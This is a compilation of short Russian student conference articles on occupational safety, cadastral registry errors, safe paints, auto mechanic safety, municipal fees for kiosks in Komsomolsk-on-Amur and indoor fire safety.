нагрузки и обеспечение возможности для перерывов и отдыха способствуют улучше-
нию психологического состояния работников. 

3. Ощущение значимости работы: Архивоведы должны понимать значимость сво-
ей работы и её влияние на общество. Это чувство удовлетворения от вклада в сохранение 
истории и культуры может значительно повысить мотивацию и моральный дух. 

В процессе исследования охраны труда архивоведа мы выявили, что данная 
профессия требует комплексного подхода к созданию безопасных и эффективных 
условий труда. Важно не только учитывать физические аспекты, такие как организация 
рабочего пространства и использование соответствующего оборудования, но также об-
ращать внимание на психоэмоциональные факторы, которые могут влиять на продук-
тивность и здоровье архивоведа. 

Соблюдение стандартов охраны труда, регулярное обучение и повышение ква-
лификации работников, а также внедрение современных технологий — всё это положи-
тельно скажется на общем состоянии архивной системы. Кроме того, поддержка со 
стороны руководства и создание культуры заботы о сотрудниках играют ключевую 
роль в снижении стресса и повышении удовлетворенности работой. 

В будущем необходимо продолжать исследовать и внедрять новые подходы к 
охране труда в сфере архивоведения, учитывая изменения в законодательстве, техноло-
гические новшества и потребности самих работников. Таким образом, эффективная 
охрана труда станет неотъемлемой частью профессиональной деятельности архивоведа, 
способствуя не только сохранению исторической памяти, но и поддержанию здоровья и 
благополучия специалистов в этой важной области. 
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Безопасность на производстве является одной из ключевых задач для обеспече-

ния устойчивого развития экономики и сохранения здоровья работников. 
 В России, несмотря на усилия государства и предприятий, проблема производ-

ственного травматизма остается актуальной. Особое внимание уделяется работе с 
электроустановками, где нарушение правил безопасности может привести к тяжелым 
последствиям.  

Статистика производственного травматизма в России. Согласно данным Росста-
та, в 2022 году в России было зарегистрировано более 20 тысяч случаев производ-
ственного травматизма, из которых около 10 % привели к тяжелым последствиям, 
включая инвалидность и смертельный исход. Наибольшее количество инцидентов про-
исходит в таких отраслях, как строительство, металлургия, добыча полезных ископае-
мых и энергетика. По информации Минтруда, основными причинами травматизма яв-
ляются:  нарушение правил техники безопасности (около 40 % случаев), недостаточная 
подготовка персонала (25 %), неисправность оборудования (20 %), организационные 
недостатки (15 %). Эти данные подчеркивают необходимость усиления контроля за со-
блюдением норм безопасности и повышения уровня подготовки работников. Особое 
внимание уделяется электротравматизму, который составляет около 8 % от общего 
числа несчастных случаев. Работа с электроустановками требует повышенного внима-
ния, так как даже незначительная ошибка может привести к тяжелым последствиям 

Рассмотрим основные правила и средства безопасности при работе с электро-
установками. 

1. Организационные меры защиты. Организационные меры, направленные на 
создание безопасных условий труда включают в себя: 
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 Допуск к работе. К работе с электроустановками допускаются только лица, 
прошедшие специальное обучение, инструктаж и аттестацию по электробезопасности. 
Уровень допуска зависит от категории работ и напряжения установки. 

 Оформление наряда-допуска. Для выполнения работ на электроустановках 
оформляется наряд-допуск, в котором указываются место, время, условия выполнения 
работ и ответственные лица. 

 Надзор и контроль. На каждом предприятии назначается ответственный за 
электрохозяйство, который контролирует соблюдение правил безопасности и проводит 
регулярные проверки. 

 Плановые и внеплановые инструктажи. Персонал должен проходить инструк-
тажи перед началом работ, а также в случае изменения условий труда или после про-
исшествий. 

2. Использование средств индивидуальной защиты (СИЗ), которые защищают 
работников от поражения электрическим током и других травм. При работе с электро-
установками обязательно использование СИЗ, таких как:  

- диэлектрические перчатки, которые используются для защиты рук при работе с 
токоведущими частями. Перед использованием перчатки проверяются на целостность. 

- диэлектрическая обувь и коврики. Обувь и коврики из диэлектрического мате-
риала предотвращают прохождение тока через тело работника. 

- изолирующие инструменты. Все ручные инструменты (отвертки, пассатижи, 
ключи) должны иметь изолированные ручки, чтобы исключить контакт с токоведущи-
ми частями. 

-защитные каски и очки. Каски защищают голову от механических поврежде-
ний, а очки защищают глаза от искр и частиц, которые могут возникнуть при работе с 
электроустановками. 

- изолирующие подставки и лестницы. При работе на высоте используются изо-
лирующие подставки и лестницы, которые предотвращают контакт с землей или зазем-
ленными конструкциями. 

3. Технические меры защиты. Технические меры включают использование спе-
циального оборудования и устройств, которые минимизируют риск поражения элек-
трическим током и других аварий. 

 Защитное заземление и зануление. Заземление и зануление используются для 
снижения напряжения на корпусе оборудования в случае пробоя изоляции. Это предот-
вращает поражение током при касании. 

 Устройства защитного отключения (УЗО). УЗО автоматически отключают 
питание при утечке тока, что предотвращает поражение электрическим током и возго-
рание. 

 Блокировки и сигнализация. Электроустановки оснащаются блокировками, ко-
торые предотвращают доступ к токоведущим частям при включенном напряжении. Так-
же используются световая и звуковая сигнализация для предупреждения об опасности. 

 Изоляция токоведущих частей. Все токоведущие части электроустановок 
должны быть надежно изолированы. Поврежденная изоляция должна немедленно за-
меняться. 

 Ограждения и барьеры. Токоведущие части, находящиеся под напряжением, 
должны быть ограждены. Ограждения должны быть прочными и устойчивыми к меха-
ническим воздействиям. 

4. Меры защиты при аварийных ситуациях. Даже при соблюдении всех правил 
безопасности возможны аварийные ситуации. Для их предотвращения и минимизации 
последствий применяются следующие меры: 
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 Автоматическое отключение питания. Электроустановки должны быть осна-
щены автоматическими выключателями, которые срабатывают при коротком замыкании 
или перегрузке. 

 Пожарная сигнализация и огнетушители. В помещениях с электроустановками 
устанавливаются пожарная сигнализация и огнетушители, предназначенные для тушения 
электрооборудования (например, углекислотные). 

5. Современные технологии в обеспечении безопасности. С развитием технологий 
появляются новые средства и методы обеспечения безопасности на электроустановках: 

 Системы дистанционного управления. Позволяют управлять электроустанов-
ками на расстоянии, что минимизирует риск для персонала. 

 Мониторинг состояния оборудования. Датчики и системы мониторинга поз-
воляют отслеживать состояние электроустановок в режиме реального времени и 
предотвращать аварии. 

 Использование робототехники. В опасных условиях (например, при высоком 
напряжении) используются роботы для выполнения работ, что исключает риски для 
человека. Таким образом, безопасность на производстве – это одна из актуальных про-
блем на сегодняшний день. Для снижения уровня производственного травматизма в 
России необходимо: 

- усилить контроль за соблюдением норм безопасности на предприятиях, 
- внедрить современные технологии мониторинга и автоматизации производ-

ственных процессов, 
- проводить регулярные тренинги и обучение для работников, 
- увеличить ответственность руководства за нарушение правил безопасности. 
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В условиях современного экономического развития страны у собственников и 

владельцев недвижимости увеличивается потребность в достоверности и правильности 
содержания сведений в информационной базе Росреестра об их объектах недвижимо-
сти. На практике же не редко сведения, связанные с основными характеристиками объ-
екта недвижимости, разнятся с данными, имеющимися в ЕГРН. 

Поскольку кадастровые данные играют важнейшую роль в регулировании зе-
мельных отношений на государственном уровне, они должны быть подробными, до-
стоверными, однозначными и точными, отражать необходимую информацию об объек-
тах недвижимости, включая факт возникновения, существования или прекращения су-
ществования. Тем не менее при ведении кадастровых данных могут возникать различ-
ные ошибки в связи с использованием кадастровыми инженерами разных систем коор-
динат. Эти ошибки могут проявляться в виде наложений, пересечений, смещений гра-
ниц, неправильного определения координат, некорректного описания местоположения 
или конфигурации земельных участков. 

Как показывает практика, в кадастровых сведениях об объектах недвижимости 
ошибки довольно частое явление, и они имеют они разные причины возникновения. 

Ошибкам в ЕГРН была посвящена статья 28 Федерального Закона от 
24.07.2007г. № 21-ФЗ «О государственном кадастре недвижимости», регулировавшем 
осуществление кадастрового учёта в период с 2008 по 2016 год. В классификации оши-
бок выделяется два вида: технические и кадастровые. 

 Технические. Возникают в связи с наличием несоответствий между данными 
документов-оснований и кадастровых сведений в государственном кадастре недвижи-
мости, допущенных сотрудниками кадастрового учёта  

 Кадастровые. Возникают при ведении документа-основания, в котором уже 
были допущены ошибки, воспроизведённые в кадастре недвижимости. 

В настоящее время сохранился подобный принцип деления, однако кадастровые 
ошибки были переименованы в реестровые. 

В определении вида ошибки большое значение имеет вид субъекта, которым 
была допущена эта ошибка. C точки зрения закона: 

 технические допускаются сотрудниками органа регистрации прав, 
 реестровые допускаются субъектами, подготавливающими информацию, ко-

торая вносятся в единый государственный реестр недвижимости. 
Необходимо отметить, что процесс исправления реестровой ошибки весьма бо-

лее трудоёмкий и долгосрочный, а нередко финансово-затратный процесс [1]. Поэтому 
профилактика их возникновения должна быть приоритетным направлением перед 
исправлением ошибок. 

Системный анализ показывает, что реестровые ошибки могут возникать по раз-
личным причинам, в том числе: 

 использование устаревшего оборудования при выполнении работ кадастро-
выми инженерами, работа в местной или условной системе координат без привязки к 
единой национальной системе; 

 внесение кадастровыми инженерами приблизительных координат в кадастро-
вый план из-за отсутствия возможности выезжать на местность; 

 неправильное определение юридической площади земельных участков в 
1990-е годы [2]; 

 непрофессионализм кадастровых инженеров; 
 невнимательность и небрежность кадастрового инженера при проведении ра-

бот приводят; 
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  неисправность оборудования, используемого при кадастровых работах [3]. 
Для эффективного предотвращения реестровых ошибок необходимо предпри-

нять следующие меры: использовать качественное, современное оборудование, обеспе-
чивать обязательные выезды кадастровых инженеров на местность для проведения ра-
бот, предоставлять возможность регулярного прохождения инженерами курсов повы-
шения квалификации, повышать внимательность сотрудников при выполнении работ, 
проводить своевременные плановые проверки оборудования в установленные сроки.  

Допущение реестровой ошибки влечёт за собой ряд неблагоприятных послед-
ствий, таких как: 

1. Невозможность постановки объекта недвижимости на кадастровый учёт, вне-
сения в его сведения изменений и снятия с учёта;  

2. Невозможность регистрации права собственности на объект в соответствии с 
действующими требованиями.  

3. Уплата излишних налогов и государственных пошлин 
4. Ограничения в использовании объекта недвижимости 
5. Возникновение сложностей получения кредитов, пособий, субсидий;  
6. Споры между владельцами смежных объектов недвижимости [4]; 
Особенно проблемными, и нередко с необратимыми последствиями являются 

ошибки, допущенные в местоположении границ земельных участков, образуемых при 
выделе земельных долей в связи с необеспеченностью доказательной базы [5]. 

Законодательно предусмотрены два способа исправления реестровых ошибок: 
1. Во внесудебном порядке: через взаимодействие между ведомствами, предо-

ставляющими документы, подтверждающие наличие реестровых ошибок и сведения, 
необходимые для их исправления. 

2. В судебном порядке: на основании вступившего в законную силу решения 
суда об исправлении реестровой ошибки (документов, обеспечивающих исполнение 
такого решения суда). 

Согласно Федерального закона от 13.07.2015 № 218-ФЗ «О государственной ре-
гистрации недвижимости», реестровая ошибка подлежит исправлению по решению 
государственного регистратора прав в течение пяти рабочих дней со дня получения до-
кументов. Не позднее рабочего дня, следующего за днём принятия решения, работник 
ЕГРН направляет своё решение в соответствующие органы для исправления ошибки в 
предусмотренном законом порядке. 

Исправление реестровой ошибки в судебном порядке считается наиболее эф-
фективным способом, поскольку судебная система обладает большей независимо-
стью и самостоятельностью по сравнению с другими [5]. 

Основания для обращения в суд с целью исправления реестровой ошибки: 
 Отказ органа кадастрового учёта в постановке участка на кадастровый учёт в 

связи с выявлением кадастрового наложения; 
 Отказ органа кадастрового учёта удовлетворить заявление правообладателя 

участка об устранении реестровой ошибки; 
 Заключение кадастрового инженера, подтверждающее наличие кадастровой 

ошибки; 
Резюмируя вышесказанное, можно сделать вывод, что обнаружение реестровой 

ошибки требует повторного проведения кадастровых работ для принятия решения о 
государственном кадастровом учёте. Выявление и исправление таких ошибок осу-
ществляется кадастровыми инженерами, выполнявшими межевание, независимо от то-
го, была ли допущена ими данная ошибка. Исправление реестровой ошибки может 
быть процессом трудоёмким и длительным, требующим сбора и предоставления необ-
ходимых документов. Однако, своевременное исправление реестровых ошибок позво-
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ляет предотвратить возможные споры и проблемы, связанные с неточными или оши-
бочными сведениями в Едином государственном реестре недвижимости. 

Таким образом, правильность межевания гарантирует защиту прав собственника 
и предотвращает возникновение земельных споров с владельцами соседних земельных 
участков. При подготовке межевых планов для исправления реестровой ошибки ка-
дастровые инженеры несут ответственность за достоверность предоставляемой инфор-
мации. В связи с этим как первичные, так и вторичные работы должны выполняться с 
особой тщательностью.  
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БЕЗОПАСНЫЕ ЛАКОКРАСОЧНЫЕ МАТЕРИАЛЫ 
 
SAFE PAINT AND VARNISH MATERIALS  
 
Аннотация. Статья посвящена анализу безопасности лакокрасочных материалов, ис-
пользуемых в различных отраслях, включая строительство, автомобильную промыш-
ленность и декорирование интерьеров. В статье рассмотрены современные требования 
к безопасности лакокрасочных материалов, включая содержание летучих органических 
соединений, потенциально опасные добавки и альтернативные компоненты, которые 
уменьшают вредное воздействие на здоровье пользователя и окружающую среду.  
Abstract. The article is devoted to the analysis of the safety of paint and varnish materials 
used in various industries, including construction, the automotive industry and interior decora-
tion. The article considers modern requirements for the safety of paints and varnishes, includ-
ing the content of volatile organic compounds, potentially dangerous additives and alternative 
components that reduce the harmful effects on user health and the environment. 
Ключевые слова: лакокрасочные материалы, безопасность, экологически чистые, лету-
чие органические соединения, токсичные добавки. 
Key words: paints and varnishes, safety, environmentally friendly, volatile organic com-
pounds, toxic additives. 
 

В последние годы возросло внимание к экологическим и здоровье сберегающим 
аспектам, связанным с использованием химических веществ в лакокрасочных покрыти-
ях.  Лакокрасочные материалы играют важную роль в современной архитектуре, произ-
водстве автомобилей и дизайне интерьеров. Они не только придают поверхностям эсте-
тичный вид, но и защищают их от воздействия вредных факторов окружающей среды.  

Однако использование традиционных лакокрасочных материалов часто связано 
с потенциальными рисками для здоровья человека и окружающей среды. 

Это особенно важно  на сегодняшний момент, так разнообразие лакокрасочных 
материалов очень  большое, и существует необходимость перехода к более экологич-
ным и безопасным материалам. Лакокрасочные материалы играют важную роль в раз-
личных отраслях промышленности, однако их использование сопровождается значи-
тельными рисками. Традиционные лакокрасочные покрытия часто содержат летучие 
органические соединения, которые испаряются в атмосферу и оказывают негативное 
воздействие на здоровье человека. Исследования показали, что воздействие летучих 
органических соединений может вызвать головную боль, раздражение дыхательных 
путей и аллергические реакции [1]. В больших концентрациях длительное воздействие 
может вызвать онкологические заболевания [2]. Поэтому современное законодатель-
ство акцентировано  на строгие стандарты для обеспечения безопасности красок и по-
крытий [3]. С увеличением информации о потенциальных рисках классических лако-
красочных материалов появляются безопасные альтернативы. Новые краски, такие как 
акриловые и краски на водной основе имеют значительно сниженное содержание лету-
чих органических соединений, и могут использоваться без существенного вреда для 
здоровья [4]. 

 
Рисунок 1  - Виды лакокрасочных материалов 
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Таким материалам отдают предпочтение потребители и промышленные пред-
приятия благодаря  хорошим характеристикам и долговечности. Испытания и сертифи-
кация также играют важную роль в этом процессе, так как  демонстрируют высокие 
стандарты безопасности своей продукции. Процесс сертификации позволяет выявить 
риски, инициировать изменения в рецептурах и исключить небезопасные ингредиенты. 

Некоторые компании уже внедрили экологически безопасные технологии в про-
цесс производства красок и лаков. Например, разработана линейка красок на водной 
основе, которые не содержат вредных химических веществ и отвечают современным 
стандартам безопасности. 

Это говорит о том, что переход на более безопасные лакокрасочные материалы 
возможен и осуществим как для производителей, так и для потребителей. В связи с тем, 
что все большее внимание уделяется здоровью выбор безопасных лакокрасочных мате-
риалов становится многообразным. 

С ростом осведомленности о рисках , которые традиционные составы представ-
ляют для здоровья человека и окружающей среды, производители и потребители долж-
ны активно переходить на более безопасные продукты.  

Технологический прогресс и строгие стандарты сертификации открывают воз-
можности для разработки красок и покрытий, которые не только обеспечивают высокие 
эксплуатационные характеристики, но и минимизируют негативное воздействие на 
здоровье человека и окружающую среду.  
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ПРАВИЛА БЕЗОПАСНОСТИ В ПРОФЕССИИ АВТОМЕХАНИК 
 
SAFETY RULES IN THE PROFESSION OF AN AUTO MECHANIC  
 
Аннотация. В данной статье описаны обязанности, требования к рабочему месту и ос-
новные правила безопасности в профессии автомеханик. Приведены примеры травм из 
опыта работы в данной специальности  и предложены рекомендации для автомеханика, 
которые помогут избежать возможных несчастных случаев  и последствий для здоровья. 
Abstract. This article describes the responsibilities, workplace requirements, and basic safety 
rules in the auto mechanic profession. Examples of injuries from work experience in this spe-
cialty are given and recommendations for an auto mechanic are proposed to help avoid possi-
ble accidents and health consequences. 
Ключевые слова: автомеханик, травмы, правила, охрана труда, безопасность. 
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Охрана труда на любом рабочем месте – это приоритетная задача работодателя. 
Но от правильных действий работника  и соблюдения им правил техники безопасности 
зависит успешное выполнение работы без возникновения несчастных случаев [1, 2].  
Рассмотрим рабочее место автомеханика и требования, предъявляемые к данной про-
фессии. 

Кандидат на должность автомеханика должен пройти обучение по программе 
подготовки рабочего на предприятии. Если это только начинающий стажер, то должен 
быть подкреплён к сотруднику, имеющему опыт в данной сфере или обучаться на спе-
циалиста в учебном заведении.  

Помимо этого рекомендуется знать основные понятия безопасности жизнедея-
тельности, правила пожарной безопасности и пройти инструктаж по охране труда на 
рабочем месте [2, 3].  

При выполнении работ по ремонту и обслуживанию автомобилей и спецтехники 
могут произойти следующие травмы: 

 поражение электрическим током;  
 ожоги от высокой температуры инструмента, деталей техники и инструмента;  
 ушибы, порезы и ссадины от подвижных частей автомобилей или спецтехни-

ки. 
Помимо этого автомеханик на рабочем месте сталкивается с повышенным шу-

мовым фоном, вибрацией и недостатком освещённости рабочей зоны. 
На каждом предприятии, где работают автомеханики разрабатывается типовая 

инструкция по охране труда на рабочем месте.  
В ней должны отражаться в обязательном порядке разделы, которые касаются 

требований безопасности охраны труда.  
Общие: подготовка к работе; перед началом работы; во время работы; в аварий-

ных ситуациях и по окончании работы [4].  
При допуске к работе работодатель должен обеспечить автомеханика всем необ-

ходимым: 
1) Рабочей формой. Так как сотрудник выполняет работы различных уровней за-

грязнений. Важно, чтобы спецодежда обеспечивала защиту от производственных за-
грязнений: пыли, грязи, масел и т. д. Рабочая одежда для автомеханика должна хорошо 
отстирываться, не выцветать и не деформироваться при частых стирках. 

2) Специальной обувью - кожаные ботинки  с защитным подноском, а для хо-
лодного времени года – утепленные. 

3) Перчатками с резиновыми накладками на ладонях для того чтобы инструмент 
не вылетал из рук. 

4) Рабочим местом с инструментом. Инструмент должен быть в рабочем состоя-
нии, так как изношенный инструмент может повлечь за собой травмы. 

Важно отметить что в стране также распространено понятие «Гаражный авто-
сервис» и зачастую работники таких сервисов самостоятельно покупают форму и под-
готавливают свое рабочее место без специализированного подхода, что не допустимо. 

Исходя из личного опыта рекомендую несколько правил безопасности при рабо-
те с автомобилями: 

1) при подготовке к работе в начале смены пост (рабочее место) должно быть 
чистым – убрано и разложен весь инструмент по своим местам для удобства работы 
своей и коллег; вымыт пол, чтобы избежать падений на масляных пятнах.  

2) при приёмке автомобиля на пост, будьте аккуратными  и требуйте того же от 
клиентов, которые могут игнорировать ваши указания. В таких случаях лучше попро-
сить клиента передать управление вам или вашим коллегам, для того чтобы исключить 
вред окружающим и автомобилю. 
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3) при подъеме автомобиля несколько раз перепроверьте установку лап подъем-
ника, чтобы избежать шаткости и опрокидывания автомобиля. 

4) когда автомобиль находится в подвешенном состоянии, всегда ставьте подъ-
емник на стопорные механизмы. 

5) не передвигайте в одиночку по цеху крупногабаритные детали и запчасти. 
6) всегда отключайте аккумулятор в автомобиле, чтобы не получить удар элек-

трическим током. При условии того, что в автомобиле маломощное электропитание и 
подача, этого хватит чтобы получить испуг, который повлечёт дальнейшие травмы. Но 
в гибридных автомобилях удар тока может быть смертельным. 

В заключении хочу отметить, что техника безопасности на рабочем месте в 
первую очередь лежит на автомеханике и от действий и соблюдения правил зависит 
жизнь и здоровье его и коллег.  
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АНАЛИЗ ДИНАМИКИ ПОСТУПЛЕНИЙ НЕНАЛОГОВЫХ ДОХОДОВ  
В БЮДЖЕТ ГОРОДА ОТ ПЛАТЫ ЗА РАЗМЕЩЕНИЕ НЕСТАЦИОНАРНЫХ 
ТОРГОВЫХ ОБЪЕКТОВ  
 
ANALYSIS OF THE DYNAMICS OF NON-TAX REVENUE RECEIPTS  
TO THE CITY BUDGET FROM FEES FOR THE PLACEMENT  
OF NON-STATIONARY COMMERCIAL FACILITIES 
 
Аннотация. В статье раскрывается роль нестационарных торговых объектов в разрезе 
социальных, экономических и градостроительных факторов. Рассматривается вопрос 
нестационарных торговых объектов в городе Комсомольск-на-Амуре. Производится 
анализ динамики поступлений неналоговых доходов в бюджет города от платы за раз-
мещение объектов.  
Abstract. The article reveals the role of non-stationary retail facilities in the context of social, 
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economic and urban factors. The issue of stationary retail facilities in the city of Komso-
molsk-on-Amur is being considered. The analysis of the dynamics of non-tax revenue receipts 
to the city budget from fees for the placement of facilities is carried out. 
Ключевые слова: нестационарный торговый объект, размещение, плата, динамика. 
Key words: non-stationary shopping facility, placement, fee, dynamics. 

 
Нестационарный торговый объект (НТО) – это объект, который представляет 

собой временное сооружение или временную конструкцию, не связанную прочно с зе-
мельным участком вне зависимости от наличия или отсутствия подключения (техноло-
гического присоединения) к сетям инженерно-технического обеспечения, в том числе 
передвижные сооружения [1]. 

Нестационарные торговые объекты кроме градостроительной играют достаточно 
важную роль так же в экономической и в социальной жизни города. Кроме этого, НТО 
способствует развитию малого бизнеса, поддержке местных производителей, созданию 
новых рабочих мест, обеспечивают удобный доступ пользователям к товарам. Градо-
строительная роль НТО заключается в разгрузке трафика в торговых центрах, супер-
маркетах, путем предоставления и реализации альтернативных мест для осуществления 
покупки того или товара.  

Целью данной статьи является изучение и анализ схемы размещения в муници-
пальной собственности нестационарных торговых объектов и данных по оплате за раз-
мещение нестационарных торговых объектов в городе Комсомольске-на-Амуре.  

Как уже ранее было указано, нестационарные торговые объекты обладают вре-
менными характеристиками и передвижными конструкциями. В соответствии с Зако-
нодательством РФ данные объекты не относятся к объектам капитального строитель-
ства. Исходя их этого подобные объекты размещаются на основании разрешительных 
документов.  

К основным видам НТО относятся: 
- киоски (павильоны) – конструкции для продажи прессы, напитков/продуктов; 
- торговые шатры (бахчевый развал) – сооружения, предназначение для сезон-

ной торговли; 
- передвижные магазины; 
- ярмарки – место, где осуществляется продажа продукции местного производ-

ства; 
- вендинговые аппараты – автоматы для продажи горячих и холодных напитков, 

снеков. 
Регулирование нестационарных торговые объектов в городе Комсомольске-на-

Амуре осуществляется за счет использования ряда нормативных актов. К данным до-
кументам относятся: 

- Федеральный закон "О защите прав юридических лиц и индивидуальных пред-
принимателей при осуществлении государственного контроля (надзора) и муниципаль-
ного контроля" от 26.12.2008 N 294-ФЗ;  

- правила землепользования и застройки города; 
- постановление администрации города.  
Первым пунктом постановления администрации города является утверждение 

схемы размещения данных объектов на территории города Комсомольска-на-Амуре.  
Из схемы размещения нестационарных торговых объектов на территории города 

Комсомольска-на-Амуре можно узнать следующую информацию: 
- место размещения НТО; 
- кадастровый номер объекта недвижимости; 
- площадь, отведенная под размещение нестационарного торгового объекта или 

зоны размещения объектов развозной торговли; 
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- форма собственности земельного участка, здания, строения, сооружения; 
- наименование юридических и физических лиц, обладающих правами владения 

и (или) пользования земельными участками, зданиями, строениями, сооружениями;  
- вид нестационарного торгового объекта; 
- специализация нестационарного торгового объекта; 
- период размещения нестационарного торгового объекта; 
- основания предоставления права размещения нестационарного торгового объ-

екта; 
- срок действия договоров размещения нестационарного торгового объекта. 

 
Рисунок 1 – Схема размещения НТО на территории г. Комсомольска-на-Амуре 

Таблица 1 – Количество НТО города Комсомольска-на-Амуре в 2024 году 
Вид нестационарного торгового объекта Количество 

Торговый павильон 194 
Киоски (павильоны) с остановочным комплексом 81 
Киоски  177 
Торговые лотки, торговые автоматы (в зданиях) 126 
Летние площадки 2 
Сезонные торговые лотки и палатки 140 
Бахчевые развалы (сезонно: июль, август, сентябрь) 17 
Павильоны (киоски) для предоставления услуг 12 
Автолавка (фудтрак)   3 
Вендинговые автоматы 7 
ВСЕГО 759 

Отобразим данные таблицы 1 в виде диаграммы (рисунок 2).  
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Рисунок 2 – НТО г. Комсомольска-на-Амуре, 2024 г. 

Используя данные таблицы 1, можно сделать вывод, что наиболее распростра-
ненными нестационарными объектами в Комсомольске-на-Амуре в 2024 году являлись 
торговые павильоны.  

Подобное преобладание торговых павильонов в городе свидетельствует о не-
скольких тенденциях. 

С точки зрения экономического фактора, можно сказать, что это является при-
знаком стабильности и доступности. В отличие от палаток или автолавок торговые па-
вильоны обеспечивают обладателю данного НТО устойчивую площадку для ведения 
деятельности.  

К социальному аспекту относится комфорт и доверие со стороны покупателей. 
Торговый павильон вызывает у населения надежность и стабильность, может являться 
защитой от плохих погодных условий.  

Также стоит отметить, что администрации более выгодно иметь больше торго-
вых павильонов, т.к. подобная форма торговли является организованной. Помимо это-
го, данное НТО помогает бороться с хаотичным размещением иных объектов формата 
ларьков или палаток.  

Помимо реализации контроля за неорганизационной формой торговли, НТО яв-
ляется одним из ресурсов муниципалитета. Каждый подобный объект осуществляет 
плату за свое размещение.  

Таблица 2 – Динамика поступлений неналоговых доходов в бюджет города 
Комсомольска-на-Амуре от использования земельных участков, млн. руб. 

Вид дохода 2019 г 2020 г 2021 г 2022 г 2023 г 
Плата за размещение нестационарных тор-
говых объектов  

14,81 18,77 30,95 31,67 46,07 

Исходя из таблицы 2 можно видеть увеличение динамики платы на 31,26 млн. 
руб. Подобная статистика свидетельствует, что в период с 2019 под 2023 год произо-
шел: 

- рост предпринимательской активности; 
- совершенствование системы администрирования и контроля; 
- развитие городской инфраструктуры и благоустройства; 
- изменение структуры и стоимости аренды земли; 
- рост потребительского спроса.  
Положительная динамика от платы за размещение нестационарных торговых 

объектов в городе Комсомольск-на-Амуре является позитивным сигналом. Несмотря на 
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положительную динамику стоит производить постоянный мониторинг и поддерживать 
баланс между увеличением доходов бюджета и созданием комфортной городской сре-
ды во избежание чрезмерной концентрации НТО в непредусмотренных для того ме-
стах. Нестационарные торговые объекты играют значимую роль в жизни города, под-
держивают развитие малого бизнеса, обеспечивают покупателей и в целом жителей го-
рода доступными товарами и услугами. Нестационарные торговые объекты регулиру-
ются федеральным законом, администрацией города и правилами землеустройства и 
застройки города. Данные торговые объекты, а именно плата за их размещение, состав-
ляют определенную часть бюджета города. В ходе работы было определено, что в Ком-
сомольске-на-Амуре на момент 2024 года плата за размещение нестационарных торго-
вых объектов возросла, что является положительным аспектом. Развитие НТО способ-
ствует созданию комфортной и безопасной среды для реализации устойчивого бизнеса 
для предпринимателей и получения качественных товаров и услуг покупателям.  
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ПОЖАРНАЯ БЕЗОПАСНОСТЬ В ПОМЕЩЕНИИ 
 
INDOOR FIRE SAFETY 
 
Аннотация. Статья посвященa пожарной безопасности в помещении. Рассмотрены по-
нятие пожара, правила пожарной безопасности, поведение человекa при пожаре с ука-
занием четких действий. Пожары причиняют огромный ущерб. Во многих случаях они 
сопровождаются не только разрушением зданий, оборудования, инженерных коммуни-
каций, но и гибелью людей. Статья подчеркивает важность соблюдения мер предосто-
рожности для защиты жизни и сохранности имуществa. 
Abstract. The article is devoted to indoor fire safety. The concept of fire, fire safety rules, 
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human behavior in case of fire with indication of clear actions are considered. Fires cause 
huge damage. In many cases, they are accompanied not only by the destruction of buildings, 
equipment, and utilities, but also by the death of people. The article emphasizes the im-
portance of taking precautions to protect life and property. 
Ключевые слова: безопасность, пожар, правила, действия, жизнь. 
Keywords: safety, fire, rules, actions, life. 
 

Тема пожарной безопасности в помещении на сегодняшний день является акту-
альной. Пожары часто возникaют из-за неосторожного обращения людей с огнем, 
наносят ущерб, приводят к травмам и гибели людей из-за повреждения или разрушения 
зданий и сооружений. Решение этой проблемы требует  комплексного подхода по трем 
направлениям: научному, техническому и организационному. 

Применение превентивных мероприятий в качестве противопожарной профи-
лактики включает в себя комплекс мероприятий, направленных на предотвращение ог-
ня, а также уменьшение последствий пожара.  Это мероприятия правового, организаци-
онного, экономического, социального, научно-технического характера.. 

Поэтому соблюдение правил пожарной безопасности на предприятиях и в быту 
является обязательным для всего персоналa и населения. 

Горение – это физико-химическая реакция, при которой выделяется интенсивная 
энергия при изменении материала и, как правило, излучается яркий свет. 

Как правило, пожары в помещениях возникают из-за неосторожного обращения 
с огнем (курение, использование открытого огня) и  неисправностей или нaрушения 
правил эксплуатации бытового электрооборудования в квартирах.  

Правила пожарной безопасности [1, 2]: 
 Не курите в постели. 
 Не оставляйте отопительные приборы без присмотрa, не закрывайте их ка-

кими-либо предметaми. 
 Не оставляйте включенные электроприборы. 
 Не включайте в одну розетку сразу несколько электроприборов. 
 Не используйте искры, бенгальские огни и пиротехнику в помещениях. 
 Не пользуйтесь неисправными электроприборами.  
 Не вытаскивайте из розетки прибор за провод. 
 Не включайте электроприборы в розетку мокрыми руками.  
 Нельзя оставлять без присмотрa стеклянные или пластиковые бутылки, где 

от них преломляется солнечный свет. 
Что не рекомендуется делать при пожаре: 
 Спускаться по сaмодельной лестнице или водосточной трубе. 
 Пытаться выйти через задымленный коридор или лестницу. 
 Пользоваться лифтом. 
 Тушить электрические приборы водой. 
Что рекомендуется делать, если возник пожар: 
 Не паниковать. 
 Вызвать пожарную бригаду по номеру «101» или «112». 
 Если есть риск удара током, выключите счетчик электроэнергии. 
 Если нет рискa поражения электрическим током, можно тушить пожар во-

дой или использовать плотную (мокрую) ткань. 
 Тушите ЛВЖ не водой, а песком, землей, огнетушителем. 
 В случае пожара ни в коем случае нельзя открывать окно или форточку. 
 Если вы не можете сами потушить, покиньте квартиру и сообщите соседям. 
 Если помещение сильно задымлено, необходимо перемещаться ползком. 
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 Если вы не в состоянии эвакуироваться из квартиры, выйдите на балкон и 
попросите прохожих о помощи. 

 При эвакуации возьмите с собой документы. 

 
Рисунок 1 – Памятка по пожарной безопасности 

Пожарная безопасность в помещениях имеет важное значение для зaщиты жизни 
и имущества. Соблюдая меры безопасности, можно снизить риск возникновения пожа-
ра, минимизировать его последствия и значительно уменьшить ущерб [3]. Таким обра-
зом, в были рассмотрены основные принципы противопожарной профилактики и меры, 
которые могут быть приняты для достижения этой цели. Цель профилактики пожаров – 
найти наиболее эффективные, экономически выгодные и технически обоснованные ме-
тоды, основанные на  предупреждении и дальнейшей ликвидации пожаров. От нaшей 
профессиональной подготовки зависит  жизнь и здоровье взрослых и детей! 
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Аннотация. В данной статье рассматриваются возможности применения технологий 
умного дома для повышения безопасности жилья и минимизации последствий аварий-
ных ситуаций. Анализируется спектр современных гаджетов и систем, предназначен-
ных для обнаружения и предотвращения утечек воды и газа, пожаров, проникновений и 
других угроз. Особое внимание уделяется интеграции этих устройств в единую систе-
му, обеспечивающую своевременное оповещение жильцов и автоматическое реагиро-
вание на возникшие проблемы. Представлен обзор существующих решений, а также 
перспективные направления развития систем умного дома, ориентированных на обес-
печение безопасности и защиту имущества 
